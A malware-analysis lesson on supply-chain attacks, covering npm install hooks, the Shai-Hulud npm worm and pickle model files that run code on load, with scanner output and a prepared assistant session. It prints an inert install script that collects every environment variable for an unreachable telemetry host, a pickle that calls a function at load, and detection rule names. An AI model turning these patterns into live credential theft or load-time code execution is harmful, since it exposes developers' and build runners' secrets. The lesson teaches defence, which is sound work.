In this section

0.7 The Software and Model Supply Chain

Module 0

Introduction

Some malware is never delivered to a victim at all. It is published, as a package in a public registry or a model file on a sharing site, and the victim fetches it themselves, because their build asked for it or their notebook loaded it.

Installing a package can run its code before anyone has used it, and loading a model file can run code before anyone has read a weight.

This lesson sets out how packages carry code into a build, how a worm spread through a registry by publishing as the developers it infected, why build pipelines are now a target, and how model files can run code when they are loaded.

It then opens a package and a model file from the lab pack, runs the scanners built for each, and checks an assistant's verdict that both are safe.

1

Installing Is Running

The supply chain as a delivery route

Modern software is assembled from other people's packages, and a package manager fetches them, along with everything they depend on, every time a project is built. Package managers also let a package run its own scripts at points in that process, so the act of installing can execute code with the rights of whoever installed it:

Dependencya package aproject namesresolvesnpm installfetches it andits dependenciesrunsLifecyclepostinstallruns as the userreadsEnvironmenttokens, keys,CI secretsleaksElsewheresent out, orused to publish

Why installing is running. The install script runs before anyone has used the package, with whatever the developer's machine or the build runner can reach.

That makes the dependency list a delivery route. An attacker who can get code into any package a project depends on, directly or several levels down, runs it on every developer machine and build runner that installs the project. Nobody has to open an attachment or click a link; the build does it for them, and does it again on every build.

Getting code into that list takes less than it sounds. A new package with a name one letter away from a popular one catches developers who mistype. A package abandoned by its author can change hands, and its next version can carry anything.

A maintainer's account can be taken over with a stolen token, which is how the worm in section 5 spread. In each case the project's own configuration never changed; what changed was what one of its names now pointed to.

The lab pack's package for this lesson is a small npm package called colr-utils, built inert. Listing its contents and reading its manifest shows the problem before anything runs:

$ tar tzvf mw07-colr-utils-1.4.2.tgz
-rw-r--r-- 0/0              59 2026-01-01 00:00 package/index.js
-rw-r--r-- 0/0             189 2026-01-01 00:00 package/package.json
-rw-r--r-- 0/0             398 2026-01-01 00:00 package/setup.js  # ◄ a second script
$ tar xzf mw07-colr-utils-1.4.2.tgz
$ cat package/package.json
{
  "name": "colr-utils",
  "version": "1.4.2",
  "description": "Terminal color helpers",
  "main": "index.js",
  "scripts": {
    "postinstall": "node setup.js"  # ◄ runs at install time
  },
  "license": "MIT"
}

A color helper needs one file, the index.js that exports its functions. This package carries a second script and asks npm to run it after installation, through the postinstall entry in its scripts. Most packages never need one; a package that has one deserves a reading before it is allowed anywhere near a build.

Reading a package before it runs is cheap because a package is just an archive. Listing it and reading its manifest takes seconds and needs no package manager at all, which means nothing in it can run. The manifest names the scripts, the scripts name what they reach for, and in most malicious packages the whole payload is in those few files.

2

What the Install Script Does

Reading before running

The install script is short, and every line of it matters:

$ cut -c1-64 package/setup.js
// Collects the environment at install time. SEND is false and t
const SEND = false;
const data = Buffer.from(JSON.stringify(process.env)).toString("  # ◄ everything
if (SEND) { require("https").request({host: "telemetry.colr-util  # ◄ off
console.log("RIDGELINE-SPECIMEN mw07: env serialized (" + data.l

It reads every environment variable on the machine, encodes them and, if the switch at the top were true, posts them to a host. On a developer's laptop the environment holds tokens for package registries and cloud tools; on a build runner it holds the deployment keys, registry credentials and cloud secrets the pipeline uses. Those are exactly what an attacker wants next.

The timing matters as much as the content. The script runs during installation, before any test has run and before anyone has looked at what the package does at run time, so a project's own test suite never sees it. On a build runner it runs with the pipeline's identity, in the same job that later signs and publishes the project's own releases.

The specimen is inert in two independent ways: the switch is false, and the host is under the reserved .invalid name, which never resolves. A real package would differ by one line, and that is the point of reading the script. The judgment does not depend on whether this version sends; it depends on why a color helper collects the secrets at all.

The intent is clear from the code without running it, and for an analyst that is the right order. Read the manifest, read every script it names, and only then decide whether running it, in a controlled place, would show anything the reading has not.

Four things in an install script deserve a stop: reading the environment or credential files, opening a network connection, starting another program, and decoding or evaluating text as code. None is proof alone, since build tools do some of them legitimately, but a script that does them for a package whose purpose needs none of them is the pattern this lesson's specimen shows.

3

Proving the Script Runs at Install

With scripts, and without

Package managers run these scripts by default, and npm also has a switch to stop them. Installing the specimen twice in an empty environment, once normally and once with scripts disabled, shows both behaviors:

$ mkdir run1 && cd run1 && env -i PATH="$PATH" HOME="$HOME" \
    npm install --offline --foreground-scripts ../mw07-colr-utils-1.4.2.tgz \
    2>&1 | grep -v added
> colr-utils@1.4.2 postinstall
> node setup.js
RIDGELINE-SPECIMEN mw07: env serialized (2896 chars), not sent  # ◄ it ran
$ mkdir run2 && cd run2 && env -i PATH="$PATH" HOME="$HOME" \
    npm install --offline --ignore-scripts ../mw07-colr-utils-1.4.2.tgz \
    2>&1 | grep -v added
$ ls run2/node_modules/colr-utils
index.js
package.json
setup.js

The first install runs the postinstall script and prints the specimen's marker, with the length of what it collected from a deliberately empty environment. Even that empty environment was not empty by the time the script read it: npm adds its own variables to the environment of the scripts it runs, which is a reminder of how much a script can see on a machine nobody has prepared.

The second installs the same files and runs nothing. The env -i at the front of each command is the analyst's own precaution: it starts npm with no inherited environment, so even a script that did send its data would have nothing of value to send.

Turning scripts off is a useful default for builds that do not need them, and it would have stopped this package. It is not a full answer. The package's own code still runs when the project uses it, and a malicious package can move its payload from the install script into the code the project calls. Disabling scripts removes one route; it does not make an untrusted package trusted.

Installing a suspect package to watch it is still sometimes the fastest way to learn what it does, and the precautions are the ones shown above: an isolated machine or container, an empty environment so there is nothing to steal, and no route to the internet unless the network behavior is what is being studied.

The record notes all three, because a result from an install with real credentials present is an incident, not an analysis.

4

Scanning a Package

GuardDog and what its rules mean

GuardDog, a scanner for npm and PyPI packages, reads a package's code and manifest against rules for the behaviors malicious packages share. On the specimen, two rules match:

$ guarddog npm scan mw07-colr-utils-1.4.2.tgz 2>/dev/null \
    | grep -E "risk|\* threat|at "
Scanning mw07-colr-utils-1.4.2.tgz, found 2 risks.  # ◄ two rules matched
execution-risk: found 1 indicator
│ * threat.process.hooks  # ◄ an install hook
│   at package.json:7
credential-access-risk: found 1 indicator
│ * threat.runtime.environment.read  # ◄ reads the environment
│   at setup.js:3
2 risks detected

One finds the install hook, and the other finds the read of every environment variable, each with the file and line. Both are things an analyst could find by reading, and in a package of three files reading is faster.

The scanner earns its place on a project with hundreds of dependencies, where nobody reads every install script, and as a gate in the build that stops a new dependency with these traits until someone has looked.

A rule match is a reason to read, not a verdict. Legitimate packages have install hooks, to compile native code or download a platform binary, and some read environment variables for configuration. What makes this one a block is the combination GuardDog points at and the reading confirms: a package whose purpose needs neither, doing both at install time.

In a build pipeline the scanner belongs at the point a dependency changes, not on every build. A new package or a new version in the lock file is the moment of risk, and a gate there, scanning the change and holding it for review when a rule matches, keeps the review load small.

Pinned versions in a committed lock file make that gate meaningful, because nothing enters the build without appearing in a change someone can see.

5

Worms and Build Pipelines

When the developer is the victim

The supply chain became a worm route in September 2025. CISA described a self-replicating worm, called Shai-Hulud, that compromised over 500 npm packages:

Case: Shai-Hulud, npm, September 2025

Self-replicating

Reported by

CISA, 23 September 2025

Packages compromised

over 500

Took

GitHub tokens; AWS, Google Cloud and Azure keys

Sent to

an actor endpoint and a public GitHub repository

Spread by

publishing new versions as the developer

What CISA told organizations to do

  • Audit lock files, nested dependencies included, and cached copies
  • Pin to versions released before 16 September 2025
  • Rotate all developer credentials
  • Require phishing-resistant MFA for GitHub and npm accounts
  • Turn on branch protection, secret scanning and Dependabot updates

The worm's spread is what set it apart from a single poisoned package, and it ran in a loop:

Installan infectedversionreadsHarvesttokens on thelaptop or runneruses themPublishnew versions,as the developerspreadsInstallby the nextdeveloper

A package worm. Each infected developer's own packages become the next delivery, which is how one compromise reached hundreds of packages.

After an infected version ran, the malware scanned the environment for credentials, targeting GitHub personal access tokens and API keys for AWS, Google Cloud and Microsoft Azure, and sent them to an endpoint the actor controlled and to a public GitHub repository. It then authenticated to the npm registry as the compromised developer and published compromised versions of that developer's other packages, so each victim became the next delivery.

Build pipelines are the richest place for that kind of code to run. A runner holds the credentials to publish packages, push images and deploy to production, and it installs dependencies on every build, usually unattended.

A malicious install script on a runner reaches further than one on a laptop, which is why CISA's advice goes beyond the packages themselves: rotate developer credentials, require phishing-resistant MFA on GitHub and npm accounts, protect branches, and turn on secret scanning and dependency updates.

For an analyst, a supply chain incident is scoped by lock files rather than by hosts. Every project whose lock file names an affected version, at any depth, installed it on every machine and runner that built the project in that window, and every credential present there is exposed.

That scoping turns into a list quickly.

Search every repository's lock files for the affected names and versions, list the machines and runners that built those repositories in the window, and for each one list the credentials it held: registry tokens, source control tokens, cloud keys and deployment secrets. Each credential is rotated, and each is checked for use after the exposure, which is lesson 0.4's question about stolen sessions asked of machine identities.

Runners themselves can be made poorer targets.

Credentials scoped to one job and expiring with it leave little for a script to take, a job that installs dependencies need not be the job that holds publishing rights, and a runner that starts clean for each build cannot carry one build's infection into the next. Each of those turns a stolen secret from a standing key into one that is already useless.

6

Model Files That Run Code

Pickle and the load-time call

Machine learning models are shared as files, and many of those files are Python pickles, a format that stores objects by recording how to rebuild them. Rebuilding can include looking up a function by name and calling it, which means loading a pickle runs a small program the file contains:

1. Open the filepickle.load, or a framework's load function2. Rebuild objectsfollowing the file's own instructions3. Look up a functionby module and name, any importable one4. Call itwith arguments stored in the file5. Return the datathe weights arrive, after the call ranThe dangerGLOBAL then REDUCE

Loading a pickle is running a small program the file contains. A weights file that looks up and calls a function has asked to run code, whatever the function is.

Python's own disassembler, pickletools, shows the instructions in the lab pack's model file. Filtered to the lines that matter:

$ python3 -m pickletools mw07-model.pkl \
    | grep -E 'GLOBAL|builtins|print|REDUCE|RIDGELINE' | cut -c1-56
   53: \x8c     SHORT_BINUNICODE 'builtins'  # ◄ a module name
   64: \x8c     SHORT_BINUNICODE 'print'  # ◄ a function in it
   72: \x93     STACK_GLOBAL  # ◄ look the function up
   74: \x8c     SHORT_BINUNICODE 'RIDGELINE-SPECIMEN mw0
  140: R        REDUCE  # ◄ and call it

The file stores a dictionary of weights, which is what a model file should hold, and a second entry built by looking up the function print in the module builtins and calling it with a string.

In the specimen the function is print. In a malicious file the same two instructions name a function that runs a command or opens a connection, and nothing else in the file has to change.

Pickle is not confined to files with a .pkl extension. Several machine learning frameworks save models in formats that wrap pickle data, so a file that looks like a framework's own format can carry the same instructions inside. The question to ask of any model file from outside is whether loading it can call a function, and the answer comes from the tools in this section, not from the extension.

Model files reach organizations the same way packages do, fetched by name from a public hub into a notebook or a pipeline, often by people whose job is data science rather than security.

A gate on model files, run where they enter the organization, does for them what a dependency gate does for packages, and the record for a model is the same as for a package: where it came from, what it would run, and the verdict.

Fickling, a pickle analysis tool, turns the instructions back into the Python they amount to and judges them:

$ fickling mw07-model.pkl
from builtins import print  # ◄ what loading imports
_var0 = print('RIDGELINE-SPECIMEN mw07: code ran when this pickle was loaded')
result0 = {'weights': [0.1, 0.2], 'hook': _var0}
$ fickling -s -p mw07-model.pkl | fold -s -w 80
Warning: Fickling detected that the pickle file may be unsafe.
Do not unpickle this file if it is from an untrusted source!
Call to `print(...)` can execute arbitrary code and is inherently unsafe
`from builtins import print` is suspicious and indicative of an overtly
malicious pickle file

The decompiled form makes the behavior plain: loading the file imports print and calls it, then builds the dictionary with the call's result in it. Fickling's safety check calls any such call inherently unsafe and exits with a failure status, which is what a build gate needs.

7

Why Scanners Disagree

Lists against behavior

Not every scanner agrees, and the disagreement is the lesson. Two other scanners, picklescan and ModelScan, look at the same file:

$ picklescan --path mw07-model.pkl | tail -n 3
Infected files: 0
Suspicious globals: 1
Dangerous globals: 0  # ◄ print is not on its list
$ modelscan -p mw07-model.pkl 2>&1 | tail -n 2
 No issues found! 🎉  # ◄ nor on this one's

picklescan reports one suspicious global and no dangerous ones, and ModelScan reports no issues at all. Both work largely from lists of known dangerous functions, and print is on neither list. A list catches what it names and passes everything else, so a file that calls an unlisted function passes, whatever that function does. Fickling flags the behavior itself: any lookup and call in a file that should hold data.

This is the same lesson as capa's runtime hits in lesson 0.2 and the GuardDog rules above, seen from the other side.

A tool's silence is only as good as what it looks for, and a clean result from a tool that looks for a list of known bad things says nothing about the things not on the list. Before trusting a pass, an analyst asks what the tool would have had to see to fail the file.

Loading the file once, in the analysis machine, settles the question:

$ python3 -c "import pickle; print(pickle.load(open('mw07-model.pkl', 'rb')))"
RIDGELINE-SPECIMEN mw07: code ran when this pickle was loaded  # ◄ during load
{'weights': [0.1, 0.2], 'hook': None}  # ◄ the return value

The call ran during loading and printed its line, and the data came back with the call's return value stored in it. Set side by side, the four results for the same file read very differently:

Four verdicts on mw07-model.pkl

Fickling

Unsafe: a call to print, imported from builtins

picklescan

One suspicious global, no dangerous ones, no infected files

ModelScan

No issues found

Loading it

The call ran and printed its line

ModelScan and picklescan are still worth running, because the functions on their lists are the ones real attacks use most, and they flag those reliably. The mistake is reading their pass as a clearance.

The safe ways out are to prefer formats that cannot carry calls, such as safetensors for weights, to load untrusted pickles only in an isolated environment, and to gate model files on a tool that flags any call rather than a list of bad ones. Module 8 takes model files and AI artifacts apart in depth.

8

Working With the Assistant

Prompt, session, record

"Is this safe to add?" is a question developers put to assistants every day, and in that form it gets reassurance:

OpenCode in REMnux, files namedPrepared example
Is colr-utils 1.4.2 safe, and is this model file safe?
Mostly, with one caution:
  1. colr-utils has a postinstall script, which many packages have; review it if you are concerned.
  2. The model file passed ModelScan with no issues, so it is safe to use.
Numbered for checking against the tool output

Both lines are true as far as they go and both lead to the wrong outcome. The prompt that works asks for a decision with three outcomes, puts reading before running, gives the assistant the test of purpose, and says how much a scanner's pass is worth:

PromptThe prompt that works
A developer wants to add colr-utils 1.4.2 (mw07-colr-utils-1.4.2.tgz) and a model file, mw07-model.pkl, to a project. Both are in REMnux. Help me decide install, block or investigate for each. Read what each would run before anything runs, judge it against what the file is for, and treat a scanner result as one result, never a clearance. One command at a time.
  1. decide install, block or investigatethe decision, with three outcomes instead of safe or unsafe
  2. Read what each would run before anything runsputs reading first, and keeps both files inert
  3. judge it against what the file is forthe test: a color helper or a weights file has no reason to do some things
  4. treat a scanner result as one resultstops a pass from ending the analysis
  5. One command at a timekeeps each step on output you have seen

The assistant reads the package correctly on its own and needs one question about the model file:

Install, block or investigateOpenCode in REMnux, the package and the model filePrepared example
  1. You
    A developer wants to add colr-utils 1.4.2 (mw07-colr-utils-1.4.2.tgz) and a model file, mw07-model.pkl, to a project. Both are in REMnux. Help me decide install, block or investigate for each. Read what each would run before anything runs, judge it against what the file is for, and treat a scanner result as one result, never a clearance. One command at a time.
  2. Assistant
    A package is an archive, so list it and read its scripts without npm.
  3. REMnux
    $ tar tzf mw07-colr-utils-1.4.2.tgz
    package/index.js
    package/package.json
    package/setup.js
    $ tar xzf mw07-colr-utils-1.4.2.tgz
    $ jq .scripts package/package.json
    {
      "postinstall": "node setup.js"
    }
  4. Assistant
    A postinstall hook runs setup.js at install. Find what it reads and where it would send it.
  5. REMnux
    $ grep -n -E 'process.env|SEND|https' package/setup.js | cut -c1-70
    1:// Collects the environment at install time. SEND is false and the h
    2:const SEND = false;
    3:const data = Buffer.from(JSON.stringify(process.env)).toString("base
    4:if (SEND) { require("https").request({host: "telemetry.colr-utils.in
  6. Assistant
    It serializes every environment variable and would post it to telemetry.colr-utils.invalid; SEND is false in this version, so it collects and does not send. A color helper has no reason to read the environment: block. For the model, run ModelScan.
  7. REMnux
    $ modelscan -p mw07-model.pkl 2>&1 | tail -n 1
     No issues found! 🎉
  8. Assistant
    No issues found, so the model file is fine to add.
  9. You
    ModelScan matches a list. What does the pickle call when it is loaded?
  10. Assistant
    Disassemble it and let Fickling decompile it.
  11. REMnux
    $ python3 -m pickletools mw07-model.pkl | grep -E 'GLOBAL|REDUCE' | cut -c1-48
       72: \x93     STACK_GLOBAL
      140: R        REDUCE
    $ fickling mw07-model.pkl | grep -E "import|print"
    from builtins import print
    _var0 = print('RIDGELINE-SPECIMEN mw07: code ran when this pickle was loaded')
  12. Assistant
    Loading it looks up print in builtins and calls it. Print is harmless and on no scanner's list, but a weights file has no reason to call anything, and the same two instructions could name any function. Block it and ask for the weights as safetensors. Other versions of colr-utils were not examined.
REMnux turns are the commands as run, with their output

The package went well because the prompt gave the test: what a color helper is for. The assistant read the script, separated collecting from sending, and reached the block without being pushed.

The model file is where it reached for the scanner's verdict, and the prompt had already said a pass is one result. A question about behavior rather than lists took it to the disassembly, and from there it made the same purpose argument for the weights file that it had made for the package.

The time saved is in knowing where to look. Reading the scripts field of the manifest, grepping the install script for the three things that matter, and pairing pickletools with Fickling are each quick once named, and the assistant named them at the moment each was needed. Its last line, that other versions were not examined, came from the prompt's demand for a decision rather than a verdict.

The decision goes to the developer on four lines:

What the decision rests on

The package

a postinstall script that reads every environment variable

The model file

a lookup and call on load, from pickletools, Fickling and loading it once

The scanner pass

ModelScan matched no listed function; it did not show the file is data only

What stays open

other versions of colr-utils, which nobody has read

The verdict on both files rests on purpose, and holds whatever either would do as built: neither file has any reason to do what it does at install or load time, which is why the same reasoning holds for a version where SEND is true or the call is something worse.

Do

Practice

Install, block or investigate?
prepared evidence

The scenario below holds the working session and the outputs from this lesson for both files. Decide how to steer the assistant, then decide what happens to each.

In the lab, run the same commands on the two mw07 specimens in your REMnux machine, always installing in an empty environment as section 3 does, then work both files in OpenCode, started in the pack's lab folder, using the prompt above, and ask what the file does whenever it cites a scanner's pass. The pack's answer key, answer-key/answers.json, records the install script and the call the pickle makes.

The software supply chain delivers code the victim fetches themselves. Package managers run install scripts with the installer's rights, so a dependency can read every secret on a developer's machine or a build runner before it is used, and a worm can use those secrets to publish more infected packages.

Model files in pickle format run a call stored in the file when they are loaded. The checks are the same for both: read what the file will run, prove it in an empty or isolated environment, use scanners as gates but trust the one that flags behavior over the one that matches a list, and scope incidents by lock files and the credentials they exposed.

Resources

Vendors and projects revise these pages; where a page and this lesson disagree, the page is newer.